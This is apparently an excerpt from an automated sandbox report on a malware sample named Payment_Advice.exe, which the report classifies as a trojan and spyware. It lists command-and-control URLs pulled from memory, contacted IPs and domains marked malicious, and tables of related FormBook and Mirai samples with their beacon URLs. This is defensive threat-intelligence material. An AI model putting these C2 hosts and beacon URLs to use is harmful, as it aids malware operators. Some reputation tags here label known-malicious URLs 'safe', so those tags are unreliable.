http://www.brownkrosshui.com/hesf/www.usbulletinnow.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.1320detailingsupplies.com/hesf/www.jf66899j.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.svgco.life	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tygyro.com/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.tygyro.comReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.svgco.life/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.jimenezfarmersinsurance.shop	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.pancakesandwaflesbeverages.net/hesf/www.schistdisc.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.svgco.life/hesf/www.pancakesandwaflesbeverages.net	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.91fulizifen.comReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.adobeS	explorer.exe, 0000000F.00000002.3850139219.0000000004405000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1587254963.0000000004405000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pancakesandwaflesbeverages.net/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.91fulizifen.com/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.87b52.club/hesf/www.svgco.life	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA-dark	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
75.2.115.196	www.87b52.club	United States	16509	AMAZON-02US	true
77.222.40.147	www.othersidewear.com	Russian Federation	44112	SWEB-ASRU	true
66.96.160.140	www.im-newbie-journal.online	United States	29873	BIZLAND-SDUS	true
170.33.13.246	overdue.aliyun.com	Singapore	134963	ASEPL-AS-APAlibabacomSingaporeE-CommercePrivateLimited	false
142.234.186.98	www.91fulizifen.com	United States	395954	LEASEWEB-USA-LAX-11US	true
103.224.182.242	www.tygyro.com	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
91.195.240.19	parkingpage.namecheap.com	Germany	47846	SEDO-ASDE	false
62.72.50.244	usbulletinnow.com	Germany	5427	PRTL-DE	true

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1320960
Start date and time:	2023-10-06 15:44:08 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Payment_Advice.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@105/31@10/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 194 Number of non-executed functions: 219
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, rundll32.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, MoUsoCoreWorker.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:45:18	API Interceptor	1x Sleep call for process: Payment_Advice.exe modified
15:45:23	API Interceptor	7012572x Sleep call for process: explorer.exe modified
15:46:11	API Interceptor	7783638x Sleep call for process: cmd.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
75.2.115.196	F#U0130YAT_TALEB#U0130-SALTIKMAKINA__AS_BESTKALIP_A.S.exe	Get hash	malicious	FormBook, RedLine	Browse	www.hybridrate.com/bz24/
	Fiyat_Teklif_Erymetal_A.s_MKLoO8887.exe	Get hash	malicious	FormBook, RedLine	Browse	www.hybridrate.com/bz24/
	SecuriteInfo.com.Variant.Jaik.39057.4222.31519.exe	Get hash	malicious	Unknown	Browse	hostinga.imagecross.com/image-hosting-17/3keny.jpeg
	ir4uOmf7Ic.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.92dbxvhr.xyz/be03/?YfxhA2W=yZ2tR2aIub077a/vy7woE3/H7uql4cqd+BdZnWiuASMC0GCzjDrlE7a20IxpmNqzo2aw&5jutZ=0txPa
	PO-371240523.exe	Get hash	malicious	FormBook	Browse	www.loiioo1.site/ca82/?W4=aDgxtMAVqgZllSWLFyeRl6lh+EK1aUkDjIUC5rmnbdl5K86wqQ19w1O/sKDk3IY+RFc/&u0DH=aL3TSZm0nZvtOrTp
	PO_383822.doc	Get hash	malicious	FormBook	Browse	www.batbatbat.net/sd03/?f4G0dr7=+n333/Os3+ZENO7ZV6T7++SqVJMU9gaNd8RrIz+AORJhv5tCRvqdHL7xPS0FOmBOCaqBcA==&fpEL6P=fR-XynpxGjH0rtQp
	copy_PDF.exe	Get hash	malicious	FormBook	Browse	www.dp77.shop/he2a/?nTthCt=Nb/FKU1zdQBN+CSQ9lNkfNv7NMoqSEbAcLfmG2wKmrccvHfopsPLt/BWV5dbdU3xRW6p&s4ND=W48hC
	php.ini	Get hash	malicious	Unknown	Browse	pitch.events/
	Arabian Aluminium Products Co. L.L.C-pdf-.exe	Get hash	malicious	FormBook	Browse	www.ecorpay.biz/a09e/?4h8Pe=v0DpmlQHSdUdP6np&fFNH=97+dnwivbWuZbj6KXr7rP2QwDSSem1HbuJduwDlJK44J3UStfHHGUmLN/DDpGJPNO8cw
	PO 700125-pdf-.exe	Get hash	malicious	FormBook	Browse	www.ecorpay.biz/a09e/?z8nxQx=97+dnwivbWuZbj6KXr7rP2QwDSSem1HbuJduwDlJK44J3UStfHHGUmLN/Aj5Jof1QZ13&lVnDHL=CpNlV2B8kD1P-t
	VCgLc3XXth.exe	Get hash	malicious	FormBook	Browse	www.hr-energys.com/tc10/?Z4=JHTmh3EWKTPKf1cHLPJvR2ZFoVNC9AR7o7RzP26IdifzzOhK0sieS8LaPvWkJY6zfCOxZ5wHpw==&UZWh=5jfLYpLX3XFpgtE
	LANXESS India Private Limited-pdf-scan-copy.exe	Get hash	malicious	FormBook	Browse	www.ecorpay.biz/a09e/?5j28vRex=97+dnwivbWuZbj6KXr7rP2QwDSSem1HbuJduwDlJK44J3UStfHHGUmLN/Aj5Jof1QZ13&b2=bRbDkTNp5ZeX
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.bestshedstobuy.com/my24/?VlWD=+J//Ny9ZhLFW2AjEdvcSUPlox6uw5eu3qrMWbYLHwLIGOJmoe0z5z197zCtVZDfyHS8b&3ff=L2MtR2j8RXGxlFx
	SecuriteInfo.com.Variant.Jaik.110210.1452.31617.exe	Get hash	malicious	FormBook	Browse	www.infotech.wiki/w14d/?c2Mhmv8=dl1tlOpb+xogHJBPJW+gVBSyFLzCo7G091N/hBKFN5v+H4cuYwRfI9nBHU5MN+t+4Xb8&k2Mx=6ll4iRq0VPkL_V
	OUTSTANDING PI770100059 SOA OCT 2022.IMG	Get hash	malicious	FormBook, GuLoader	Browse	www.vnsuda.lol/gkr4/?pVvPi=jRwH&9rW=i9EYUB6T86BTY8cTtp+oqcAuy+2swFSPHzn9C0Z+4aDcJRNIbQa89iKj2Vm4IUHpJGzLXK064b2B1kQWf+fbpqzjbVwvy3ABTg==
	payment_copy3_receipt.exe	Get hash	malicious	FormBook	Browse	www.vnsuda.lol/veh0/?Ih=H0phgvfvKBma6gvwGBFiiA3aGB6x1tx+qpMzsOKL6mX4XVya54sThvMqL7EFeUWxYIJWwwUJaARTNC9BUuxcBVbwiK5sALqSvQ==&mFN=9rZlrDXh
	OUTSTANDING PI770100059 SOA OCT 2022.IMG	Get hash	malicious	FormBook, GuLoader	Browse	www.vnsuda.lol/gkr4/?4hI=J6tlnlN8Ijsd&yHtdQNIh=i9EYUB6T86BTY8cTtp+oqcAuy+2swFSPHzn9C0Z+4aDcJRNIbQa89iKj2Vm4IUHpJGzLXK064b2B1kQWf+fbpqzjbVwvy3ABTg==
	payment_copy2_receipt.exe	Get hash	malicious	FormBook	Browse	www.vnsuda.lol/veh0/?V8Olq=H0phgvfvKBma6gvwGBFiiA3aGB6x1tx+qpMzsOKL6mX4XVya54sThvMqL7EFeUWxYIJWwwUJaARTNC9BUuxdalfssqJOBdyR5lth/WdqURqv&3fiPC=E4O8TXhX80iDs
	payment_copy4_receipt.exe	Get hash	malicious	FormBook	Browse	www.vnsuda.lol/veh0/?J48Lf=H0phgvfvKBma6gvwGBFiiA3aGB6x1tx+qpMzsOKL6mX4XVya54sThvMqL7EFeUWxYIJWwwUJaARTNC9BUuxcBVbwiK5sALqSvQ==&LBml=4hcHOtVX
	payment_copy_receipt_file.exe	Get hash	malicious	FormBook	Browse	www.vnsuda.lol/veh0/?cTzDz=H0phgvfvKBma6gvwGBFiiA3aGB6x1tx+qpMzsOKL6mX4XVya54sThvMqL7EFeUWxYIJWwwUJaARTNC9BUuxdamLLi8VPA87O51th/Xl7Zxqv&ollLV=1b8dV0lh
170.33.13.246	SecuriteInfo.com.BackDoor.BlackHole.55951.25738.15896.exe	Get hash	malicious	Unknown	Browse	www.wpsss.com/myphp/qq.php?k=01635e79b15b98a2eec057d73b54687f
	SecuriteInfo.com.BackDoor.BlackHole.55951.25738.15896.exe	Get hash	malicious	Unknown	Browse	www.wpsss.com/myphp/qq.php?k=4fd39f28f7ba8fa8c2b0e633ac949a3a
	YSpCB8DEek.exe	Get hash	malicious	FormBook	Browse	www.swegon.tech/nes8/?wP=KB3xslvhyf-4Q2Gp&5jDX=vrTXUzS5PKOapuU/J9WZ9j9UW2tlnl/e2NjFHhKzi+alY2A+qbqQAB9s++tQbSe7/Ij6

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
parkingpage.namecheap.com	Swift_TT_Copy.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.195.240.19
	PO4502726800.xls	Get hash	malicious	FormBook, NSISDropper	Browse	91.195.240.19
	Payment_Advise_4_10_23_pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.195.240.19
	4TwB845pSG.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.195.240.19
	NDICvIaSKd.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	xzc3_pdf.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.10125.11811.rtf	Get hash	malicious	FormBook	Browse	91.195.240.19
	DHL_Shipment_Delivery_Notification_27-9-23.exe	Get hash	malicious	FormBook, NSISDropper	Browse	198.54.117.218
	rOrderRequirements-Invoice.exe	Get hash	malicious	FormBook	Browse	198.54.117.212
	SecuriteInfo.com.Trojan.Inject4.61235.12113.20285.exe	Get hash	malicious	FormBook, NSISDropper	Browse	198.54.117.210
	SecuriteInfo.com.Win32.DropperX-gen.29632.23307.exe	Get hash	malicious	DBatLoader, FormBook, Magniber	Browse	198.54.117.218
	U8WCyVn8Mu.exe	Get hash	malicious	FormBook	Browse	198.54.117.210
	Request_for_Quotation.exe	Get hash	malicious	FormBook	Browse	198.54.117.211
	DHL_CUSTOM_FORM.exe	Get hash	malicious	FormBook, NSISDropper	Browse	198.54.117.218
	SecuriteInfo.com.Win32.DropperX-gen.3821.25987.exe	Get hash	malicious	FormBook	Browse	198.54.117.218
	DHL_AWB#607853880911.exe	Get hash	malicious	FormBook	Browse	198.54.117.215
	New_Inquiry.exe	Get hash	malicious	FormBook	Browse	198.54.117.212
	0SsOGWQQTe.exe	Get hash	malicious	FormBook	Browse	198.54.117.215
	7LCsfHZ06y.exe	Get hash	malicious	FormBook	Browse	198.54.117.217
	kyvhU0KdbE.exe	Get hash	malicious	FormBook	Browse	198.54.117.211
overdue.aliyun.com	SecuriteInfo.com.BackDoor.BlackHole.55951.25738.15896.exe	Get hash	malicious	Unknown	Browse	170.33.13.246
	SecuriteInfo.com.BackDoor.BlackHole.55951.25738.15896.exe	Get hash	malicious	Unknown	Browse	170.33.13.246
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	170.33.13.246
	YSpCB8DEek.exe	Get hash	malicious	FormBook	Browse	170.33.13.246
	w8jII3Mlbs.exe	Get hash	malicious	FormBook	Browse	170.33.96.51
	PO 80555231 Pdf.exe	Get hash	malicious	FormBook	Browse	170.33.96.51
	2384de40-a1de-4db0-a358-6ea765fb272a.pptx	Get hash	malicious	Unknown	Browse	170.33.9.230
	e-dekont.exe	Get hash	malicious	FormBook	Browse	170.33.9.230
	kgKZQkHkMV.exe	Get hash	malicious	FormBook	Browse	170.33.9.230
	6hyWrD20Ho.exe	Get hash	malicious	FormBook	Browse	170.33.9.230
	PO.xlsx	Get hash	malicious	FormBook	Browse	170.33.9.230
	Alligator Pty Ltd Quote.doc	Get hash	malicious	FormBook	Browse	170.33.9.230
	Lv9eznkydx.exe	Get hash	malicious	Unknown	Browse	170.33.9.230
	UZOM POWER.exe	Get hash	malicious	FormBook	Browse	170.33.9.230
	Af2ehGbXlD.exe	Get hash	malicious	FormBook	Browse	170.33.9.230
	DHL Shipment Notification.PDF.exe	Get hash	malicious	FormBook	Browse	170.33.9.230
	DHL Shipment Notification,PDF.exe	Get hash	malicious	FormBook	Browse	170.33.9.230
	Drawing.exe	Get hash	malicious	FormBook	Browse	170.33.9.230
	TT-Bank-Slip.exe	Get hash	malicious	FormBook	Browse	170.33.9.230
	Product_Samples.exe	Get hash	malicious	FormBook	Browse	170.33.9.230

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SWEB-ASRU	DOGMFxuJPr.elf	Get hash	malicious	Mirai	Browse	77.222.59.244
	https://u.to/vZehHw	Get hash	malicious	Unknown	Browse	77.222.40.36
	6lN7x5JqIM.exe	Get hash	malicious	GuLoader	Browse	77.222.55.34
	G3ASZOXI97.exe	Get hash	malicious	GuLoader	Browse	77.222.55.34
	hxxp://freddydal2%5B.%5Dtemp%5B.%5Dswtest%5B.%5Dru/AG/Pr	Get hash	malicious	Unknown	Browse	77.222.41.18
	Nuevo_orden..exe	Get hash	malicious	FormBook	Browse	77.222.40.224
	tpUYHAXcpu.exe	Get hash	malicious	DCRat, zgRAT	Browse	77.222.40.238
	aZDSUPv6IlTFjIz.exe	Get hash	malicious	FormBook	Browse	77.222.61.31
	Tpeknp6cVT.exe	Get hash	malicious	DCRat	Browse	77.222.40.105
	ZJ79K2xku4.exe	Get hash	malicious	FormBook	Browse	77.222.40.224
	lnk_.lnk	Get hash	malicious	Unknown	Browse	77.222.40.224
	lnk2.lnk	Get hash	malicious	Unknown	Browse	77.222.40.224
	wxr5X61VIQ.exe	Get hash	malicious	FormBook	Browse	77.222.40.224
	PSBkh0tA84.exe	Get hash	malicious	Unknown	Browse	77.222.40.224
	8WzcyZswGR.lnk	Get hash	malicious	Unknown	Browse	77.222.40.224
	Us8X1tgm9L.lnk	Get hash	malicious	Unknown	Browse	77.222.40.224
	OHcBucOjYm.lnk	Get hash	malicious	Unknown	Browse	77.222.40.224
	5iByRdcsF8.lnk	Get hash	malicious	Unknown	Browse	77.222.40.224
	1AwSXilU8f.lnk	Get hash	malicious	Unknown	Browse	77.222.40.224
	http://santandersi.com.swtest.ru/es4/	Get hash	malicious	Unknown	Browse	77.222.40.224
BIZLAND-SDUS	Transaction_.exe	Get hash	malicious	FormBook, NSISDropper	Browse	66.96.162.129
	Tenors.exe	Get hash	malicious	FormBook, GuLoader	Browse	66.96.162.139
	Payment_Advise_4_10_23_pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	66.96.162.129
	F#U0130YAT_TALEB#U0130-SALTIKMAKINA__AS_BESTKALIP_A.S.exe	Get hash	malicious	FormBook, RedLine	Browse	66.96.162.140
	borilpokonta2.1.exe	Get hash	malicious	FormBook, NSISDropper	Browse	66.96.162.150
	docswiftusd.exe	Get hash	malicious	FormBook	Browse	66.96.162.129
	https://www.dramrsaeed.com/ACHPayment/?QWNjb3VudGluZ0BhY29ybm1lZGlhLmNvbQ==	Get hash	malicious	Unknown	Browse	66.96.147.109
	http://dev.factwatch.org/uorsuqmi.php	Get hash	malicious	Unknown	Browse	66.96.147.159
	Fiyat_Teklif_Erymetal_A.s_MKLoO8887.exe	Get hash	malicious	FormBook, RedLine	Browse	66.96.162.140
	DHL_-_1ST_PAYMENT_REMINDER_-_1003921407.exe	Get hash	malicious	AgentTesla	Browse	66.96.160.138
	48857571199.exe	Get hash	malicious	AgentTesla	Browse	66.96.160.138
	rOmranZolal.jpg.exe	Get hash	malicious	FormBook	Browse	66.96.162.148
	4eX3EdJ8Q9.exe	Get hash	malicious	FormBook, GuLoader	Browse	66.96.162.139
	z3hir.x86.elf	Get hash	malicious	Mirai	Browse	66.242.24.15
	QbQ0spd3GB.elf	Get hash	malicious	Mirai	Browse	72.22.85.138
	r009_depago.exe	Get hash	malicious	AgentTesla	Browse	66.96.160.138
	IDzTyPghZg.exe	Get hash	malicious	Unknown	Browse	66.96.140.79
	HP-3082023319.JPG.scr.exe	Get hash	malicious	FormBook	Browse	66.96.134.75
	RFQ_HP310823048.PDF.scr.exe	Get hash	malicious	FormBook	Browse	66.96.134.75
	z0r0.x86.elf	Get hash	malicious	Mirai	Browse	209.59.226.179
AMAZON-02US	FaO2o1dyWd.elf	Get hash	malicious	Mirai	Browse	108.140.54.16
	qilFutAtPw.elf	Get hash	malicious	Mirai	Browse	54.104.203.171
	e4N9QMBwUc.elf	Get hash	malicious	Mirai	Browse	108.140.54.12
	MufQXh8vQz.elf	Get hash	malicious	Mirai	Browse	108.155.200.104
	KKveTTgaAAsecNNaaaa.x86.elf	Get hash	malicious	Mirai	Browse	35.154.141.94
	x86.elf	Get hash	malicious	Mirai	Browse	54.185.230.173
	Y0MTq91T1o.elf	Get hash	malicious	Mirai, RapperBot	Browse	54.213.106.148
	SoQWkqDw8U.elf	Get hash	malicious	Mirai, RapperBot	Browse	54.77.19.64
	a0JDLTs0LS.elf	Get hash	malicious	Mirai, RapperBot	Browse	15.161.198.94
	nX55skkwjy.elf	Get hash	malicious	Mirai, RapperBot	Browse	54.184.181.84
	https://self-mst-login-mfa-365-authenticator.softr.app/	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	99.84.203.44
	New_Order.exe	Get hash	malicious	FormBook	Browse	44.227.65.245
	mips.elf	Get hash	malicious	Mirai	Browse	35.75.173.48
	mpsl.elf	Get hash	malicious	Mirai	Browse	54.71.135.230
	arm.elf	Get hash	malicious	Mirai	Browse	54.200.217.66
	x86_64.elf	Get hash	malicious	Mirai	Browse	54.94.55.105
	Receipt_PDF.exe	Get hash	malicious	FormBook	Browse	75.2.18.233
	qVRo4HmVDI.exe	Get hash	malicious	Unknown	Browse	54.231.135.81
	https://best-movie100.com/login	Get hash	malicious	Unknown	Browse	35.73.107.33
	qVRo4HmVDI.exe	Get hash	malicious	Unknown	Browse	54.231.160.249

